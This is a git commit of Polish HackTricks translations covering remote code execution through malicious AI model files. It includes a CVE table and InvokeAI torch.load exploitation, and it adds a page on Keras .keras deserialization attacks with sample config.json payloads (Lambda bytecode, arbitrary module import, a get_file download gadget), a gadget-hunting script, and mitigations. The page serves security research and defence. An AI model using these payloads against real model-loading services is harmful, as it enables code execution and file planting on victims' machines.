Translated ['src/AI/AI-Models-RCE.md', 'src/generic-methodologies-and-re

This commit is contained in:
Translator 2025-08-22 00:20:35 +00:00
parent d9d90b185d
commit 13af2d423c
4 changed files with 227 additions and 10 deletions

View File

@ -10,24 +10,24 @@ W momencie pisania, oto kilka przykładów tego typu luk:
| **Framework / Narzędzie** | **Luka (CVE, jeśli dostępne)** | **Wektor RCE** | **Odnośniki** |
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
| **PyTorch** (Python) | *Niebezpieczna deserializacja w* `torch.load` **(CVE-2025-32434)** | Złośliwy pickle w punkcie kontrolnym modelu prowadzi do wykonania kodu (obejście zabezpieczenia `weights_only`) | |
| **PyTorch** (Python) | *Niebezpieczna deserializacja w* `torch.load` **(CVE-2025-32434)** | Złośliwy pickle w punkcie kontrolnym modelu prowadzi do wykonania kodu (obejście zabezpieczenia `weights_only`) | |
| PyTorch **TorchServe** | *ShellTorch* **CVE-2023-43654**, **CVE-2022-1471** | SSRF + złośliwe pobieranie modelu powoduje wykonanie kodu; deserializacja RCE w API zarządzania | |
| **TensorFlow/Keras** | **CVE-2021-37678** (niebezpieczny YAML) <br> **CVE-2024-3660** (Keras Lambda) | Ładowanie modelu z YAML używa `yaml.unsafe_load` (wykonanie kodu) <br> Ładowanie modelu z warstwą **Lambda** uruchamia dowolny kod Pythona | |
| TensorFlow (TFLite) | **CVE-2022-23559** (parsing TFLite) | Opracowany model `.tflite` wywołuje przepełnienie całkowite → uszkodzenie sterty (potencjalne RCE) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Ładowanie modelu za pomocą `joblib.load` wykonuje pickle z ładunkiem `__reduce__` atakującego | |
| **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie zserializowanych tablic obiektów złośliwe `.npy/.npz` wywołuje wykonanie kodu | |
| **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie obiektów tablicowych w formacie pickle złośliwe `.npy/.npz` wywołuje wykonanie kodu | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (przechodzenie katalogów) <br> **CVE-2024-5187** (przechodzenie tar) | Ścieżka zewnętrznych wag modelu ONNX może uciec z katalogu (odczyt dowolnych plików) <br> Złośliwy model ONNX tar może nadpisać dowolne pliki (prowadząc do RCE) | |
| ONNX Runtime (ryzyko projektowe) | *(Brak CVE)* Niestandardowe operacje ONNX / przepływ sterowania | Model z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżki) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżki względnej do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżek) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżek względnych do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | |
| **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (wiele przepełnień sterty) | Źle sformatowany plik modelu GGUF powoduje przepełnienia bufora sterty w parserze, umożliwiając wykonanie dowolnego kodu na systemie ofiary | |
| **Keras (starsze formaty)** | *(Brak nowego CVE)* Model Keras H5 w wersji legacy | Złośliwy model HDF5 (`.h5`) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu „atak degradacyjny”) | |
| **Inne** (ogólnie) | *Wada projektowa* Serializacja Pickle | Wiele narzędzi ML (np. formaty modeli oparte na pickle, Python `pickle.load`) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone | |
Ponadto istnieją modele oparte na python pickle, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.
Ponadto istnieją modele oparte na pickle w Pythonie, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.
### 🆕 InvokeAI RCE przez `torch.load` (CVE-2024-12029)
`InvokeAI` to popularny interfejs webowy open-source dla Stable-Diffusion. Wersje **5.3.1 5.4.2** udostępniają punkt końcowy REST `/api/v2/models/install`, który pozwala użytkownikom pobierać i ładować modele z dowolnych adresów URL.
`InvokeAI` to popularny interfejs webowy typu open-source dla Stable-Diffusion. Wersje **5.3.1 5.4.2** udostępniają punkt końcowy REST `/api/v2/models/install`, który pozwala użytkownikom pobierać i ładować modele z dowolnych adresów URL.
Wewnątrz punkt końcowy ostatecznie wywołuje:
```python
@ -67,19 +67,19 @@ json={}, # body can be empty
timeout=5,
)
```
4. Gdy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący uzyskuje wykonanie kodu w kontekście procesu InvokeAI.
4. Kiedy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący zyskuje wykonanie kodu w kontekście procesu InvokeAI.
Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_12029` automatyzuje cały proces.
#### Warunki
• InvokeAI 5.3.1-5.4.2 (domyślna flaga skanowania **false**)
• InvokeAI 5.3.1-5.4.2 (flaga skanowania domyślnie **false**)
`/api/v2/models/install` dostępne dla atakującego
• Proces ma uprawnienia do wykonywania poleceń powłoki
#### Łagodzenia
* Uaktualnij do **InvokeAI ≥ 5.4.3** poprawka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
* Uaktualnij do **InvokeAI ≥ 5.4.3** łatka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją.
* Podczas programowego ładowania punktów kontrolnych używaj `torch.load(file, weights_only=True)` lub nowego [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomocnika.
* Wymuszaj listy dozwolone / podpisy dla źródeł modeli i uruchamiaj usługę z minimalnymi uprawnieniami.
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
```
## Modele do przejścia ścieżki
Jak wspomniano w [**tym wpisie na blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), większość formatów modeli używanych przez różne frameworki AI opiera się na archiwach, zazwyczaj `.zip`. Dlatego może być możliwe nadużycie tych formatów do przeprowadzania ataków typu path traversal, co pozwala na odczyt dowolnych plików z systemu, w którym model jest załadowany.
Jak wspomniano w [**tym poście na blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), większość formatów modeli używanych przez różne frameworki AI opiera się na archiwach, zazwyczaj `.zip`. Dlatego może być możliwe nadużycie tych formatów do przeprowadzania ataków typu path traversal, co pozwala na odczyt dowolnych plików z systemu, w którym model jest załadowany.
Na przykład, za pomocą poniższego kodu możesz stworzyć model, który utworzy plik w katalogu `/tmp` po załadowaniu:
```python
@ -161,7 +161,15 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
```
## Odniesienia
### Deep-dive: Keras .keras deserialization and gadget hunting
Aby uzyskać szczegółowy przewodnik po wewnętrznych mechanizmach .keras, RCE warstwy Lambda, problemie z dowolnym importem w ≤ 3.8 oraz odkrywaniu gadżetów po poprawce w liście dozwolonej, zobacz:
{{#ref}}
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
{{#endref}}
## References
- [OffSec blog "CVE-2024-12029 InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)

View File

@ -69,6 +69,7 @@
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
- [venv](generic-methodologies-and-resources/python/venv.md)

View File

@ -6,6 +6,7 @@
- [**Sztuczki hackingowe Pyscript**](pyscript.md)
- [**Deserializacje Pythona**](../../pentesting-web/deserialization/README.md)
- [**Deserializacja modelu Keras RCE i polowanie na gadżety**](keras-model-deserialization-rce-and-gadget-hunting.md)
- [**Sztuczki do omijania piaskownic Pythona**](bypass-python-sandboxes/README.md)
- [**Podstawowa składnia żądań webowych w Pythonie**](web-requests.md)
- [**Podstawowa składnia Pythona i biblioteki**](basic-python.md)

View File

@ -0,0 +1,207 @@
# Keras Model Deserialization RCE and Gadget Hunting
{{#include ../../banners/hacktricks-training.md}}
Ta strona podsumowuje praktyczne techniki eksploatacji przeciwko potokowi deserializacji modelu Keras, wyjaśnia wewnętrzne działanie formatu .keras oraz powierzchnię ataku, a także dostarcza narzędzi badawczych do znajdowania Wrażliwości Plików Modelu (MFV) i gadżetów po naprawie.
## Wewnętrzne działanie formatu modelu .keras
Plik .keras to archiwum ZIP zawierające przynajmniej:
- metadata.json ogólne informacje (np. wersja Keras)
- config.json architektura modelu (główna powierzchnia ataku)
- model.weights.h5 wagi w HDF5
Plik config.json napędza rekurencyjną deserializację: Keras importuje moduły, rozwiązuje klasy/funkcje i rekonstruuje warstwy/obiekty z kontrolowanych przez atakującego słowników.
Przykładowy fragment dla obiektu warstwy Dense:
```json
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
```
Deserializacja wykonuje:
- Import modułów i rozwiązywanie symboli z kluczy module/class_name
- wywołanie from_config(...) lub konstruktora z kontrolowanymi przez atakującego kwargs
- Rekursję w zagnieżdżonych obiektach (aktywacje, inicjalizatory, ograniczenia itp.)
Historycznie, to ujawniało trzy prymitywy atakującemu tworzącemu config.json:
- Kontrola nad tym, jakie moduły są importowane
- Kontrola nad tym, które klasy/funkcje są rozwiązywane
- Kontrola nad kwargs przekazywanymi do konstruktorów/from_config
## CVE-2024-3660 RCE z bajtkodem warstwy Lambda
Przyczyna:
- Lambda.from_config() używało python_utils.func_load(...), które dekoduje base64 i wywołuje marshal.loads() na bajtach atakującego; deserializacja w Pythonie może wykonać kod.
Pomysł na exploit (uproszczony ładunek w config.json):
```json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
```
Mitigacja:
- Keras domyślnie wymusza safe_mode=True. Zserializowane funkcje Pythona w Lambda są zablokowane, chyba że użytkownik wyraźnie zdecyduje się na safe_mode=False.
Uwagi:
- Starsze formaty (starsze zapisy HDF5) lub starsze bazy kodu mogą nie wymuszać nowoczesnych kontroli, więc ataki w stylu „downgrade” mogą nadal mieć zastosowanie, gdy ofiary używają starszych loaderów.
## CVE-2025-1550 Dowolny import modułu w Keras ≤ 3.8
Przyczyna:
- _retrieve_class_or_fn używał nieograniczonego importlib.import_module() z ciągami modułów kontrolowanymi przez atakującego z config.json.
- Wpływ: Dowolny import dowolnego zainstalowanego modułu (lub modułu umieszczonego przez atakującego na sys.path). Kod uruchamia się w czasie importu, a następnie następuje konstrukcja obiektu z kwargs atakującego.
Pomysł na exploit:
```json
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
```
Poprawki bezpieczeństwa (Keras ≥ 3.9):
- Lista dozwolonych modułów: importy ograniczone do oficjalnych modułów ekosystemu: keras, keras_hub, keras_cv, keras_nlp
- Domyślny tryb bezpieczny: safe_mode=True blokuje ładowanie niebezpiecznych funkcji zserializowanych Lambda
- Podstawowe sprawdzanie typów: zdeserializowane obiekty muszą odpowiadać oczekiwanym typom
## Powierzchnia gadżetów po poprawce wewnątrz listy dozwolonych
Nawet z listą dozwolonych i trybem bezpiecznym, pozostaje szeroka powierzchnia wśród dozwolonych wywołań Keras. Na przykład, keras.utils.get_file może pobierać dowolne adresy URL do lokalizacji wybranych przez użytkownika.
Gadżet przez Lambda, który odnosi się do dozwolonej funkcji (nie zserializowany bajtkod Pythona):
```json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
```
Important limitation:
- Lambda.call() dodaje tensor wejściowy jako pierwszy argument pozycyjny podczas wywoływania docelowego wywołania. Wybrane gadżety muszą tolerować dodatkowy argument pozycyjny (lub akceptować *args/**kwargs). Ogranicza to, które funkcje są wykonalne.
Potential impacts of allowlisted gadgets:
- Dowolne pobieranie/zapisywanie (sadzenie ścieżek, zanieczyszczanie konfiguracji)
- Wywołania sieciowe/efekty podobne do SSRF w zależności od środowiska
- Łączenie do wykonania kodu, jeśli zapisane ścieżki są później importowane/wykonywane lub dodawane do PYTHONPATH, lub jeśli istnieje zapisywalna lokalizacja do wykonania przy zapisie
## Researcher toolkit
1) Systematyczne odkrywanie gadżetów w dozwolonych modułach
Enumeruj kandydatów na wywołania w keras, keras_nlp, keras_cv, keras_hub i nadaj priorytet tym z efektami ubocznymi związanymi z plikami/siecią/procesem/środowiskiem.
```python
import importlib, inspect, pkgutil
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
seen = set()
def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name
candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
```
2) Bezpośrednie testowanie deserializacji (nie jest potrzebny archiwum .keras)
Wprowadź przygotowane słowniki bezpośrednio do deserializatorów Keras, aby poznać akceptowane parametry i obserwować efekty uboczne.
```python
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
```
3) Probing między wersjami i formaty
Keras istnieje w wielu bazach kodu/epokach z różnymi zabezpieczeniami i formatami:
- Wbudowany Keras w TensorFlow: tensorflow/python/keras (legacy, planowane do usunięcia)
- tf-keras: utrzymywany osobno
- Multi-backend Keras 3 (oficjalny): wprowadzono natywny .keras
Powtarzaj testy w różnych bazach kodu i formatach (.keras vs legacy HDF5), aby odkryć regresje lub brakujące zabezpieczenia.
## Rekomendacje defensywne
- Traktuj pliki modeli jako niezaufane dane wejściowe. Ładuj modele tylko z zaufanych źródeł.
- Utrzymuj Keras w najnowszej wersji; używaj Keras ≥ 3.9, aby skorzystać z list dozwolonych i sprawdzania typów.
- Nie ustawiaj safe_mode=False podczas ładowania modeli, chyba że w pełni ufasz plikowi.
- Rozważ uruchomienie deserializacji w piaskownicy, w środowisku o minimalnych uprawnieniach, bez dostępu do sieci i z ograniczonym dostępem do systemu plików.
- Wprowadź listy dozwolone/podpisy dla źródeł modeli i sprawdzania integralności, gdzie to możliwe.
## Odniesienia
- [Hunting Vulnerabilities in Keras Model Deserialization (blog huntr)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
- [Keras PR #20751 Dodano kontrole do serializacji](https://github.com/keras-team/keras/pull/20751)
- [CVE-2024-3660 Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
- [CVE-2025-1550 Keras dowolny import modułu (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
- [raport huntr dowolny import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
- [raport huntr dowolny import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
{{#include ../../banners/hacktricks-training.md}}